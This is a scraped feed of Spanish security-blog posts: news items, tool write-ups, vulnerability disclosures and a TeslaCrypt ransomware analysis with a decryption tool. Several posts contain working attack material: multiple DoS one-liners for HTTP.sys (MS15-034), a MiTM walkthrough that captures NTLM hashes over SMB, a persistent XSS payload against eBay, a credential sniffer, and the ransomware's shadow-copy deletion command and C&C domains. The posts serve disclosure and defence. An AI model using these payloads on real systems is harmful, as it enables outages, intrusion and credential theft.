Quantcast
Channel: hackplayers
Viewing all 1666 articles
Browse latest View live

Samsung publica el código fuente del kernel del Galaxy S6 y S6 Edge

$
0
0
Si tienes en tus manos un smartphone Galaxy S6 o S6 Edge quizás te estés preguntando cómo quitar algunos programas de relleno (bloatware), instalar un recovery personalizado o incluso instalar firmware desarrollado por terceros, como Cyanogen. Gracias a que Samsung acaba de publicar el código fuente del kernel de ambos teléfonos, esta posibilidad está ahora más cerca.

El código fuente para los siguientes modelos se puede encontrar en el Open Resource Release Center de Samsung:


  •     SM-G920F
  •     SM-G920K
  •     SM-G920L
  •     SM-G920S
  •     SM-G920t_NA
  •     SM-G925T_NA
  •     SM-G925F
  •     SM-G925K
  •     SM-G925L
  •     SM-G925S
  •  
    Sin embargo, el hecho de que el código fuente haya sido liberado no significa que inmediatamente empiecen a surgir una amplia variedad de ROMs o mods disponibles. Desafortunadamente, Samsung no ha dado a conocer la documentación completa para su procesador Exynos 7420, por los que los modders lo tendrán más difícil que con un Qualcomm, así que paciencia...

    Fuentes:
    - Samsung Open Resource Center
    - Samsung publishes kernel source code for the Galaxy S6 and S6 Edge

    MS15-034: parchea ya o muere!

    $
    0
    0
    Mattias Geniar ha revelado la aparición de exploits para una vulnerabilidad crítica en HTTP.sys (CVE-2015-1635) de Microsoft Windows que podría permitir a un atacante ejecutar código arbitrario o causar una denegación de servicio.

    "Existe una vulnerabilidad de ejecución remota de código en la pila del protocolo HTTP (HTTP.sys) que es causada cuando HTTP.sys analiza de forma incorrecta la sintaxis de ciertas solicitudes HTTP especialmente diseñadas. Un atacante que aproveche esta vulnerabilidad podría ejecutar código arbitrario en el contexto de la cuenta del sistema", en el Microsoft Security Bulletin MS15-034.

    "Para aprovechar esta vulnerabilidad, un atacante tendría que enviar una solicitud HTTP especialmente diseñada al sistema afectado. La actualización corrige la vulnerabilidad al modificar la forma en que la pila HTTP de Windows maneja las solicitudes".

    Precisamente, Mattias alertó que los primeros fragmentos de código para explotar MS15-034 en IIS están empezando a surgir, y lo peor, es trivial ejecutarlo y los resultados pueden ser catastróficos. Por ejemplo, conseguir que un servidor Win2k12 (y versiones posteriores) se caiga (BOYD) o se reinicie mediante una sóla petición HTTP:

    - powershell:
    powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}

    - curl:
    $ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

    - un simple Python:
    #Tested on Win Srv 2012R2.
    import socket,sys
     
    if len(sys.argv)<=1:  
     sys.exit('Give me an IP')
     
    Host = sys.argv[1]
     
    def SendPayload(Payload, Host):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect((Host, 80))
       s.send(Payload)
       s.recv(1024)
       s.close()
     
    #Make sure iisstart.htm exist.
    Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
    Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
     
    SendPayload(Init, Host)

    - O incluso mediante un simple telnet:
    $ telnet 10.0.1.1 80
    GET / HTTP/1.1
    Host: stuff
    Range: bytes=0-18446744073709551615

    - También enviando una petición a /welcome.png (2008 R2) o /iis-85.png (Windows Server 2012/R2):
    wget --header="Range: bytes=18-18446744073709551615" http://blah-2012-server.com/iis-85.png

    Ya véis la facilidad que supone probar estas simples PoC así que ya sabéis... actualizar las firmas de vuestros IPS, de vuestro WAFs y, sobretodo y si todavía no lo has hecho, ¡actualiza el IIS y los servidores Windows tan pronto como sea posible!

    pd. Podéis comprobar si los servidores de vuestra LAN con este script de Nmap:
    https://github.com/cldrn/nmap/blob/master/scripts/http-vuln-cve2015-1635.nse

    Fuentes:
    - Remote Code Execution Via HTTP Request In IIS On Windows
    - Microsoft Window - HTTP.sys PoC (MS15-034)
    - Microsoft Security Bulletin MS15-034 - Critical
    - Exploit Code Emerging for Windows HTTP.sys Vulnerability – Patch Now!

    - Metasploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb)
    - [NSE] Script to detect remote code execution in Microsoft Windows systems (MS15-034)

    Ataques de geo-inferencia mediante el caché del navegador

    $
    0
    0
    Una de las charlas más impresionantes de la BlackHat Asia 2015 es la de Yaoqi Jia en la que trata de un nuevo ataque "el primero en utilizar canales de sincronización en los navegadores para inferir la geo-ubicación de un usuario".

    Según una nueva investigación de la Universidad Nacional de Singapur muchos de los sitios web y los navegadores más populares del mundo están filtrando distintos canales con información de la ubicación del usuario: país, ciudad, barrio, la dirección de casa...

    El ataque de geo-inferencia permite virtualmente a cualquier persona con un sitio web (incluso sin permiso) obtener la situación geográfica midiendo el tiempo de las consultas de la caché de casi cualquier navegador (incluido TorBrowser) en relación con la ubicación geográfica cada vez más omnipresente en servicios como Google, Google Maps y Craigslist, además de la mayoría de los sitios del Top 100 de Alexa.

    Atentos al siguiente vídeo:



    Más info: I Know Where You’ve Been: Geo-Inference Attacks via the Browser Cache (paper, slides, blackhat)

    Probando la vulnerabilidad de 'redirección a SMB' que afecta a todas las versiones de Windows

    $
    0
    0
    Seguro que ya habéis oído hablar de una vulnerabilidad (todavía sin parchear) que ha descubierto la empresa Cylancemediante la cuál se pueden enviar los hashes de las credenciales de un usuario de Windows a un servidor SMB malicioso mediante redirecciones HTTP.

    Realmente la vulnerabilidad inicial data de 1997 cuando Aaron Splanger se dió cuenta de que para acceder a un recurso "img src="\\1.2.3.4\compartido\imagen.jpg" se enviaban los datos de autenticación, por aquel entonces con el débil LANMAN. 


    Ahora Cylance ha descubierto que el API de URLMon.dll que utilizan muchas aplicaciones también envía los hashes de autenticación cuando se intenta acceder a recursos SMB con "file://1.2.3.4... mediante redirecciones HTTP (típicamente 301 y 302). Eso sí los hashes con NTLMv2, no tan débiles pero si susceptibles a ataques de diccionario o fuerza bruta, un auténtico "tesoro" para un MiTM. Os recomiendo que echeis un vistazo a la entrada de Sergio de los Santos en el blog de Eleven Path donde se explica muy bien.

    Sin embargo el objetivo de esta entrada es comprobar a nivel práctico la explotación de la vulnerabilidad siguiendo la PoC del Whitepaper de Cylance.
     

    El escenario es un ataque MiTM: partiendo que previamente se ha envenenado el caché ARP o DNS, las peticiones HTTP de la víctima se redirigirán al servidor del atacante que a su vez las enviará a un servidor SMB local que obtendrá los hashes.

    Primero descargamos y levantamos el servidor SMB que recogerá todos los intentos de autenticación:

    root@kali:~# git clone https://github.com/CylanceSPEAR/SMBTrap.git
    Cloning into 'SMBTrap'...
    remote: Counting objects: 21, done.
    remote: Compressing objects: 100% (15/15), done.
    remote: Total 21 (delta 4), reused 21 (delta 4), pack-reused 0
    Unpacking objects: 100% (21/21), done.

    root@kali:~# cd SMBTrap/smbtrap/
    root@kali:~/SMBTrap/smbtrap# python smbtrap2.py

    Después, mediante un script inline de MITMProxy, habilitaremos el servidor HTTP para reenviar la peticiones al servidor SMB:

    root@kali:~# mitmproxy --version
    mitmproxy 0.11.3

    root@kali:~/SMBTrap/smbtrap# cd ../external_project_modules/mitmproxy/

    root@kali:~/SMBTrap/external_project_modules/mitmproxy# mitmproxy -s 'smbtrap-mitmproxy-inline.py 10.20.18.204' -T --host

    Ahora todas las peticiones HTTP dirigidas al puerto TCP 8080 serán redireccionadas con un HTTP 302 a file://10.20.18.204/mitmproxy-identifier.

    Como veis tenemos ambos servidores escuchando:

    root@kali:~# netstat -tulpn 
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
    tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      4852/python    
    tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      4884/python    

    Finalmente sólo necesitamos redireccionar el tráfico del TCP 80 al TCP 8080 mediante iptables o Zarp (u otros):

    root@kali:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

    o


    Ahora simplemente probamos a lanzar una actualización de software mediante una aplicación vulnerable (que utilice las APIs de URLMon.dll):




    Y voilá!


    net-creds.py: un script en python para obtener las contraseñas y hashes mediante un interfaz o fichero pcap

    $
    0
    0
    net-creds.py es un script escrito en python para obtener las contraseñas y hashes esnifando mediante un interfaz o analizando un archivo pcap. Concatena los paquetes fragmentados y no se basa en los puertos para la identificación del servicio. Por el momento soporta:
    •     URLs visitadas
    •     POST enviados
    •     logins/passwords de formularios HTTP
    •     logins/passwords de autenticación básica HTTP
    •     búsquedas HTTP
    •     logins/passwords FTP
    •     logins/passwords IRC
    •     logins/passwords POP
    •     logins/passwords IMAP
    •     logins/passwords Telnet
    •     logins/passwords SMTP
    •     Cadenas de comunidades SNMP
    •     protocolo NTLMv1/v2 como HTTP, SMB, LDAP, etc
    •     Kerberos
    Su instalación es sencilla:

    root@kali:~# git clone https://github.com/DanMcInerney/net-creds.git
    root@kali:~# cd net-creds/
    root@kali:~/net-creds# pip install -r requirements.txt
    Downloading/unpacking scapy==2.3.1 (from -r requirements.txt (line 1))
      Downloading scapy-2.3.1.zip (1.1Mb): 1.1Mb downloaded
      Running setup.py egg_info for package scapy
       
    Requirement already satisfied (use --upgrade to upgrade): wsgiref==0.1.2 in /usr/lib/python2.7 (from -r requirements.txt (line 2))
    Installing collected packages: scapy
      Found existing installation: scapy 2.2.0
        Uninstalling scapy:
          Successfully uninstalled scapy
      Running setup.py install for scapy
        changing mode of build/scripts-2.7/scapy from 644 to 755
        changing mode of build/scripts-2.7/UTscapy from 644 to 755
       
        changing mode of /usr/local/bin/UTscapy to 755
        changing mode of /usr/local/bin/scapy to 755
    Successfully installed scapy
    Cleaning up...

     
    Y también su uso:

    Auto-detectar el interfaz a esnifar

    sudo python net-creds.py

    Elige eth0 como interface

    sudo python net-creds.py -i eth0

    Ignora paquetes a y desde 192.168.0.2

    sudo python net-creds.py -f 192.168.0.2

    Lee desde pcap

    python net-creds.py -p pcapfile


     
    Github:https://github.com/DanMcInerney/net-creds

    Cómo mantener tu sitio WordPress a salvo de malware y otras amenazas

    $
    0
    0
    ¿Alguna vez has tenido un fallo de seguridad en tu sitio de WordPress, o incluso, has descubierto malware u otras amenazas? 
    ¿No? Quizás lo hayan comprometido en el pasado o incluso lo esté justo ahora y ni siquiera te has dado cuenta... 

    El análisis continuo en busca de malware y amenazas es una parte vital para el mantenimiento de un sitio web seguro y fiable. A continuación se listan varias medidas de seguridad para hacerlo:

    a. Utiliza un 'Site Checker'


    Hoy en día se puede comprobar fácil y rápidamente la existencia de malware mediante el uso de una serie de servicios gratuitos que comprueban si la página de inicio u otras páginas visibles incluyen scripts maliciosos, o tratan de hacer que los visitantes descarguen malware. Por ejemplo:
    Estos servicios son fáciles de usar. Simplemente escribe la dirección URL, haz clic en el botón 'Scan', y el servicio hará todo el trabajo por ti.

    El problema con estos servicios es que si el malware se encuentra en una página oculta (que no se llega a través de enlaces o no está en el pageindex, por ejemplo el panel de WordPress) no serán capaces de encontrarlo. Es decir, es sólo una buena manera de hacer una comprobación inicial si se sospecha que hay algo raro.

    b. Utiliza plugins de escaneo



    Normalmente, estos plugins buscan código malicioso conocido, pero algunos también añaden capacidades extra y comparan los archivos con los fuentes del core de WordPress, así como de temas y plugins.

    - Wordfence: es uno de los plugins más conocidos y mejor valorados. Busca vulnerabilidades, archivos sospechosos, comprueba la complejidad de las contraseñas empleadas, busca enlaces sospechosos en artículos y páginas, etc. Además también analiza el tráfico en tiempo real, comprueba el rendimiento del servidor, es capaz de bloquear IPs o por países o incluso añadir un segundo factor de autenticación empleando un teléfono móvil.

    Otros plugins:

    - Wemahu: Un plugin de análisis de malware cuyo desarrollo, lamentablemente, no parece estar ya activo.
    - Theme Authenticity Checker: un plugin que busca código malicioso en cualquier tema instalado, y entre otras cosas, enlaces cifrados no deseados en el pie de página o en otros lugares.

    c. Hacerlo de forma manual



    La principal técnica para buscar manualmente malware en archivos de WordPress es simplemente buscar inconsistencias (tamaño o modificaciones en el código) entre los ficheros usados en el blog y los del repositorio oficial, tanto del core como de los plugins y temas utilizados.

    Si te guardas las imágenes que subas a tu blog en una carpeta de tu ordenador o en un servicio en la nube como Dropbox, también puedes comprobar rápidamente las fechas y los tamaños de las imágenes. Aunque ten en cuenta que los tamaños de los archivos podrían haber sido cambiados al subirlos o si se utilizan plugins de optimización de imagen. De esta manera la mayoría de los tamaños de imagen serán diferentes de las versiones subidas si hay malware o no, así que no habría forma de diferenciar.

    El problema con este método es, obviamente, que requiere mucho tiempo.

    d. Usar un plugin o servicio para monitorizar cambios en el código o en los archivos



    Para evitar que alguien "cuele" código malicioso o malware, se puede utilizar un plugin o servicio para monitorizar cambios en el código y los archivos.

    Sucuri por ejemplo envía inmediatamente un correo electrónico cada vez que se modifica un archivo (o si se ha intentado pero no se ha podido modificar y los intentos de inicio de sesión). Esto te permitirá reaccionar muy rápidamente a cualquier cambio en tu sitio web.

    Luego hay servicios como Code Guard que permiten monitorizar cualquier cambio en los archivos y generan informes que dan un visión general de los cambios.

    Fuente:
    How To Scan Your WordPress Site For Malware And Threats

    "The Hacker Wars", un documental sobre la persecución a hackers y activistas

    $
    0
    0
    Las "Guerras Hacker" de Vivien Lesnik Weisman es un interesante documental sobre la persecución e intimidación del Gobierno de Estados Unidos hacia hackers y activistas, terroristas o guerreros por la libertad según la perspectiva de quien controle la información.

    Conoce entrne otros a "weev" de "Goatse Security" famoso por revelar un fallo en AT&T que permitía revelar las cuentas de correo de los usuarios de iPad, a Barrett Brown periodista y propagandista del colectivo hacktivista Anonymous, a Jeremy Hammond (alias "Anarchaos") número uno de la lista de cibercriminales del FBI y a "Sabu" miembro de LulzSec que colaboró durante meses con el FBI después de ser arrestado...

    ¿Héroes o anti-héroes? Juzgalo tú mismo... http://thehackerwars.com/


    The Hacker Wars está disponible en varios servicios de pago, stream y torrent:
    - iTunes
    - Amazon
    - Google Play
    - Stream por Jahba Don
    - #TPB torrent 1080p: https://thepiratebay.se/torrent/11823601/The_Hacker_Wars_1080p_%5BPhr0stY%5D.mkv
    - #TPB torrent 780MB: https://thepiratebay.se/torrent/11829567/THE_HACKER_WARS_(2014)_WEB-DL_XVID

    'No iOS Zone': inutiliza cualquier dispositivo iOS dentro de un rango WiFi

    $
    0
    0
    En la última RSA Conference se ha revelado un bug en iOS que permite a un atacante crashear y reiniciar iPhones e iPads usando nada más que una red Wi-Fi.

    Los investigadores de Skycure han apodado este ataque como 'No iOS Zone': no hay manera de que vuelva a funcionar el dispositivo que no sea escapar del alcance de la red maliciosa; cada vez que se reinicia, se vuelve a colgar inmediatamente.

    La base del ataque utiliza un "certificado SSL especialmente diseñado". Normalmente se utiliza para garantizar una conexión segura pero en este caso provoca el fallo de cualquier aplicación que utilice SSL.

    "Con nuestro hallazgo, en seguida creamos un script para explotar el bug sobre un interfaz de red", los investigadores escribieron. "SSL es una buena práctica de seguridad y se utiliza en casi todas las aplicaciones del App Store de Apple, la superficie de ataque es muy amplia. Sabíamos que cualquier retraso en parchear la vulnerabilidad podría llevar a un impacto en el negocio serio: una negación organizada de servicio (DoS) puede conducir a grandes pérdidas".

    Pero además de afectar aplicaciones individualmente, el error puede ser usado para bloquear el sistema operativo subyacente. "Con un uso intensivo de los dispositivos expuestos a la vulnerabilidad, el sistema operativo también se bloquea. Peor aún, bajo ciertas condiciones, nos las arreglamos para conseguir que los dispositivos en bucle de reinicios, inutilizándolos".


    "Incluso si las víctimas se dan cuenta de que el ataque viene de una red Wi-Fi, no pueden desactivar el interfaz Wi-Fi en el estado de reinicios continuos como se muestra en el video".



    Además cuando se combina con una vulnerabilidad anterior como "Wi-Figate" que permite a los atacantes forzar al dispositivo para que se conecte automáticamente a la red WiFi, se podría elaborar un ataque que pueda denegar el servicio a cualquier dispositivo con iOS en una zona específica. "Las víctimas en un rango no pueden hacer nada al respecto. Piensa en el impacto del uso de un ataque de ese tipo en Wall Street, o tal vez en los aeropuertos más concurridos del mundo, o en grandes plantas de servicios públicos. Los resultados serían catastróficos".

    Los investigadores de Skycure dicen que han advertido a Apple del error, y se abstienen de revelar detalles técnicos al respecto hasta después que la compañía publique el parche...

    Fuente:Wi-Fi hack creates 'no iOS zone' that cripples iPhones and iPads


    "Cuelan" en Google Maps un muñequito de Android orinando sobre el logo de Apple

    $
    0
    0

    Google y Apple siempre han tenido sus diferencias, pero un nuevo huevo de Pascua dentro de Google Maps acaba de subir la rivalidad a un nivel completamente nuevo. Si te diriges a estas coordenadas con la vista de mapa normal activado, verás la mascota de Android de Google meando orinando en el logotipo de Apple.

    Por el momento, no está claro quién creó esta pedazo de la travesura y si Google es aún consciente de su existencia. Podría haber sido hecha por un empleado de Google renegado, o un usuario mediante una herramienta de mapeo crowdsourced como Map Maker. En cualquier caso, es una adición loca (y bastante graciosa) que seguro sacará de quicio a algunos de los empleados en Cupertino. ¡Fuego!


    Fuente: http://www.engadget.com/2015/04/24/google-maps-android-apple-piss/

    usbkill un "anti-forense" que apagará automáticamente el PC si se conecta un dispositivo USB

    $
    0
    0
    usbkill es un sencillo script escrito en Python por hephaest0s que apaga inmediatamente el equipo si se detecta cualquier cambio en alguno de los puertos usb.
    Es un proyecto inacabado donde se esperan mejoras futuras, pero ya funciona y es bastante eficaz.

    Para ejecutarlo: sudo python3 usbkill.py

    Lucha contra el forense, usb -> kill!

    Github: https://github.com/hephaest0s/usbkill

    Herramienta para recuperar los archivos cifrados por el ransomware TeslaCrypt, una variante de CryptoLocker

    $
    0
    0
    Cifrar los archivos de la víctima y luego pedir bitcoins para descifrarlos es un negocio muy lucrativo: las campañas de ramsonware se están convirtiendo en una amenaza cada vez mayor. Después de la caída de CryptoLocker surgió Cryptowall, con técnicas anti-depuración avanzadas, y después numerosas variantes que se incluyen en campañas dirigidas cada vez más numerosas. 
     
    Una de las últimas variantes se llama TeslaCrypt y parece ser un derivado del ransomware CryptoLocker original. Este ransomware está dirigido específicamente a gamersy, aunque dice estar usando RSA-2048 asimétrico para cifrar archivos, realmente está usando AES simétrico, lo que ha permitido a Talos Group (Talos Security Intelligence & Research Group) desarrollar una herramienta que descifra los archivos...



    Primero se analizaron dos muestras con fecha de marzo y abril de 2015. Ambas muestras implementaban los siguientes algoritmos de hash:

    - SHA1
    - SHA256
    - RIPEMD160
    - BASE58
    - BASE64


    Vector de infección y función de instalación

    Este ransomware se distribuye generalmente como un archivo adjunto de correo electrónico o a través de sitios web que redirigen a la víctima al exploit kit Angler (también se ha identificado en otros exploits kits como Nuclear y Sweet Orange). Luego la mayoría de las muestras de TeslaCrypt utilizan técnicas COM+ de evasión de sandbox. Por ejemplo, el dropper que analizaron utilizaba sencillo código de detección que verifica si la interfaz COM "URLReader2" se ha instalado correctamente en el filtro DirectShow:



    Si se pasa la verificación, el verdadero dropper se extrae y se ejecuta utilizando un método bien conocido que hace uso de las funciones de la API ZwMap(Unmap)ViewOfSection para extraer la imagen original de memoria del PE y re-mapear otra. El último ejecutable desempaquetado localiza directorios específicos de Windows, como el directorio de datos de aplicación, y construye los archivos de soporte como el archivo "key.dat" y archivos para almacenar instrucciones de descifrado


    El ejecutable también ajusta sus propios privilegios (añade "SetDebugPrivilege") y se copia utilizando un nombre de archivo aleatorio en el directorio de datos de aplicación del usuario. Un nuevo proceso se genera entonces y la ejecución se transfiere a la misma. Después se elimina el archivo original del dropper y se crean cinco hilos que realizan lo siguiente:

    - elimina todas las Volume Shadow Copiesmediante la ejecución del comando “vssadmin.exe delete shadows /all /quiet


    - abre el archivo "key.dat" y recupera las claves de cifrado. Si no existe el archivo "key.dat", crea las claves y las almacena de forma cifrada.


    - envía la nueva clave de cifrado principal al servidor C&C a través de una petición POST. El ejemplo analizado contenía las siguientes URLs:


        . 7tno4hib47vlep5o.63ghdye17.com
        . 7tno4hib47vlep5o.79fhdm16.com
        . 7tno4hib47vlep5o.tor2web.blutmagie.de
        . 7tno4hib47vlep5o.tor2web.fi


    - implementa protección anti-tampering: cada 200 mili segundos, TeslaCrypt enumera todos los procesos en ejecución y si encuentra un proceso con un nombre de archivo que contenga cualquiera de las palabras de abajo, el proceso se termina usando la función API de Windows TerminateProcess:


        . taskmgr
        . procexp
        . regedit
        . msconfig
        . cmd.exe

       
    Cifrado de archivos - introducción

    Como hemos dicho, después de la rutina de inicialización y la supresión de las instantáneas de volumen (Volume Shadows), la muestra crea el archivo "key.dat" donde almacena todas las claves de cifrado. El dropper de marzo 2015 calculaba al menos dos claves principales
    diferentes:una clave de pago y una clave de cifrado principal. El otro dropper implementaba el concepto de una clave adicional conocida como la "clave de recuperación".

    "GetAndHashOsData" es la función responsable de la creación del buffer base para la generación de todas las claves. Al principio adquiere la siguiente información:

    - estadísticas de la red LAN del PC, utilizando la función API NetStatisticsGet
    - 64 bytes aleatorios generados por las cripto-funciones de Windows
    - todos los descriptores del heap de su propio proceso
    - todos los descriptores de procesos activos y los hilos descriptores de cada proceso
    - todos los módulos cargados en cada proceso
    - información de la memoria física del PC

    Una vez que se adquieren los datos, se genera una gran matriz de valores SHA1, una por cada 20 bytes de datos adquiridos. Al final se calcula y almacena un valor SHA1 global para toda la matriz, en un símbolo llamado "g_lpGlobalOsDataSha1".

    Con esos dos ítems, la rutina de "FillBuffWithEncryptedOsData" es capaz de llenar de una manera pseudo-aleatoria un buffer genérico con los datos calculados. Una clave maestra y una clave de pago se generan utilizando esta función (cada clave es de 32 bytes), su SHA256 se calcula y, finalmente, un algoritmo personalizado se utiliza para desplazar a la izquierda y a la derecha las dos claves. Los dos valores desplazados SHA256 se almacenan en el archivo "key.dat".

    El fichero de claves

    La rutina "OpenKeyFileAndWrite" intenta abrir el archivo "key.dat" ubicado en el directorio de datos de aplicación del usuario. Si no existe, se generan las dos claves maestras (tres en el caso de los droppers más recientes) junto con las otras claves y los almacena en el archivo.

    Aquí hay un pequeño esquema de la disposición del archivo "key.dat":



    La última versión del dropper crea un archivo "RECOVERY_KEY.TXT" dentro del directorio de documentos del usuario. Lo hace para lograr un objetivo particular: si el equipo de la víctima está desconectado o si un cortafuegos bloquea la comunicación con el servidor C&C, el dropper procederá a la destrucción de la clave maestra dentro del archivo "key.dat", después de que se haya completado el cifrado de todos los archivos.

    Para recuperar los archivos cifrados, el usuario tendría que conectarse al sitio web TOR del atacante y proporcionar la clave de recuperación. Los atacantes utilizan un algoritmo personalizado para recuperar la clave maestra a partir de la clave de recuperación:



    El archivo de recuperación de claves contiene 3 piezas de información en un formato legible, separadas por un carácter de retorno de carro:

    - La dirección Bitcoin
    - El identificador de clave de pago (32 dígitos hexadecimales)
    - La clave de recuperación (64 dígitos hexadecimales)

    El algoritmo de cifrado de archivos

    El cifrado de archivos se realiza en un thread dedicado. El código para el hilo de cifrado toma la clave maestra desplazada, calcula el hash SHA256 y comienza a enumerar todos los archivos del PC de la víctima (filtrado por tipo de extensión, TeslaCrypt soporta más de 170 extensiones de archivos diferentes).

    "EncryptFile" es la función que gestiona todo el proceso de cifrado de archivos. Esta función:

    - genera un 16-bytes vector de inicialización para AES, usando la función API GetAndHashOsData
    - lee el archivo de destino
    - inicializa el algoritmo de cifrado AES a través de la creación de la estructura de datos de contexto AES
    - finalmente cifra el contenido del archivo usando un algoritmo AES de 256 bits CBC implementado en la función "EncryptWithCbcAes".

    Cuando el proceso se haya completado, se crea el nuevo archivo cifrado. El nuevo archivo contiene una pequeña cabecera (compuesto del vector de inicialización AES en sus primeros 16 bytes seguido por el tamaño del archivo original en los próximos 4 bytes), y luego los bytes cifrados reales.



    La ventana emergente muestra información engañosa: el método de cifrado es AES simétrico, y no un RSA-2048 asimétrico según lo declarado por TeslaCrypt en la imagen anterior.

    Como prueba de que TeslaCrypt está realmente utilizando AES simétrico y no RSA asimétrica, Talos publica una utilidad de descifrado capaz de descifrar todos los archivos cifrados por este ransomware (siempre que se tenga la clave maestra).

    La herramienta de descifrado de TeslaCryptde Talos

    La utilidad de descifrado de Cisco es una utilidad en línea de comandos. Se necesita el archivo "key.dat" para recuperar correctamente la clave maestra utilizada para el cifrado de archivos. Antes de que comience la ejecución, busca "key.dat" en su ubicación original (directorio de datos de aplicación del usuario), o en el directorio actual. Si no es capaz de encontrar y analizar correctamente el archivo "key.dat", se devuelve un error y sale.



    Para utilizar esta herramienta, sólo tienes que copiar el fichero "key.dat" en el directorio de la herramienta y luego especificar el archivo cifrado o un directorio que contiene archivos cifrados. ¡Eso es todo! Los archivos serán descifrados y volverán a su contenido original.

    Aquí está la lista de opciones de la línea de comandos:

         /help - Muestra el mensaje de ayuda
         /key - especifica manualmente la clave maestra para el descifrado (32 bytes/64 dígitos)
         /keyfile - Especifica la ruta del archivo "key.dat" que se utiliza para recuperar la clave maestra
         /file - Descifra un archivo cifrado
         /dir - Descifra todos los archivos ".ecc" en el directorio de destino y sus subdirectorios
         /scanEntirePc - descifra archivos ".ecc" en todo el equipo
         /KeepOriginal - Guarda el archivo original(es) en el proceso de cifrado
         /deleteTeslaCrypt - Automáticamente mata y elimina el dropper TeslaCrypt (si se encuentra activo en el sistema de destino)

       
    Eso sí, haz un backup de tus archivos cifrados antes de utilizar esta utilidad, se ofrece siempre sin garantías.

    Aquí tenéis los enlaces de la herramienta:

    Binario Windows:

    http://labs.snort.org/files/TeslaDecrypt_exe.zip
    ZIP SHA256: 57ce1c16e920a9e19ea1c14f9c323857c9a40751619d3959684c7e17956d66c6


    Código fuente del binario de Windows:
    https://labs.snort.org/files/TeslaDecrypt_cpp.zip
    ZIP SHA256: 45908f0b3f8eb73bf820ded0a886842ac5c3e4c83068097806daad662046b1e0


    Script en Python:
    https://labs.snort.org/files/TeslaDecrypt_python.zip
    ZIP SHA256: ea58c2dd975ed42b5a30729ca7a8bc50b6edf5d8f251884cb3b3d3ceef32bd4e


    Futuras mejoras

    A la herramienta todavía le faltan algunas características. En particular, no han tenido tiempo para implementar el algoritmo necesario para recuperar la clave maestra de la clave de recuperación. Esto es importante porque en algunas versiones del dropper, la clave maestra se extrae del archivo "key.dat" tan pronto como se completa el cifrado de archivos. Así que habrá que estar pendiente por si publican actualizaciones.

    pd. La utilidad de descifrado es una herramienta de prueba que no está soportada oficialmente y el usuario asume toda la responsabilidad derivada del uso de la misma.


    Fuentes:
    - Threat Spotlight: TeslaCrypt – Decrypt It Yourself
    - New Utility Decrypts Data Lost to TeslaCrypt Ransomware

    Abre cualquier master lock en 8 intentos o menos

    $
    0
    0
    Si os acordáis, hace unos años veíamos como los candados de combinación de Master Lock eran vulnerables a un ataque que permitía abrirlos reduciendo las combinaciones de 64.000 a sólo 100.

    Ahora Samy Kamkar (famoso por crear el "gusano Samy" que golpeó a Myspace en 2005) ha publicado una vulnerabilidad para los candados de esta marca que permite que cualquiera pueda aprender la combinación en sólo ¡8 intentos o menos!.

    Como veis en el vídeo, el proceso requiere menos de dos minutos y algo de habilidad para llevar a cabo la técnica y Kamkar incluso ha creado una herramienta en línea para ayudar con el proceso.

    Podéis ver el proceso detallado y usar la "calculadora" en línea a través del siguiente enlace:


    http://null-byte.wonderhowto.com/how-to/crack-any-master-combination-lock-8-tries-less-using-calculator-0161629/

    XSS persistente en el sistema de mensajes de eBay (notificado hace un año y todavía sin solucionar)

    $
    0
    0
    El sistema para el intercambio de mensajes entre usuarios de eBay contiene una vulnerabilidad XSS persistente que podría llevar al secuestro de sesiones. Lo peor es que Jaanus Kääp, su descubridor, avisó hace más de un año y a día de hoy sigue sin parchear.
    Concretamente existen dos parámetros GET ("picfile" y "X-File-Name") en la petición que se genera al subir fotos que se pueden modificar para incluir código Javascript antes de llegar al usuario receptor seleccionado. El procedimiento es sencillo:

    1. Envía un mensaje a alguien y haz clic en 'No se trata de un artículo'




    2. Selecciona adjuntar fotos y sube un fichero (en mi prueba gato.jpg). Luego intercepta la petición mediante Burp o cualquier otro proxy.




    3. Modifica el parámetro GET llamado "picfile" y la cabecera "X-File-Name" añadiendo un payload (para la PoC usaremos el clásico "</script><script>alert('XSS')</script>")

    POST /ws/eBayISAPI.dll?ContactUserNextGen&messageType=4&sender=usuario&Action=Submit&Source=PicMan&itemId=0&receiver=2015eshir&picfile=gato</script><script>alert('XSS')</script>.jpg HTTP/1.1
    Host: contact.ebay.es
    User-Agent: Mozilla/5.0
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    X-File-Name:gato</script><script>alert('XSS')</script>.jpg
    Content-Type: application/octet-stream
    Referer: http://contact.ebay.es/ws/eBayISAPI.dll?ContactUserNextGen&recipient=2015eshir
    Content-Length: 8884
    Cookie: ....
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache

    4. Si todo ha ido bien la foto se habrá subido sin problemas. Introducimos el captcha y volvemos a interceptar la petición, modificando de nuevo el parámetro "picfile":



    POST /ws/eBayISAPI.dll?ContactUserNextGen HTTP/1.1
    Host: contact.ebay.es
    User-Agent: Mozilla/5.0
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://contact.ebay.es/ws/eBayISAPI.dll?ContactUserNextGen&recipient=2015eshir
    Cookie: ....
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 375

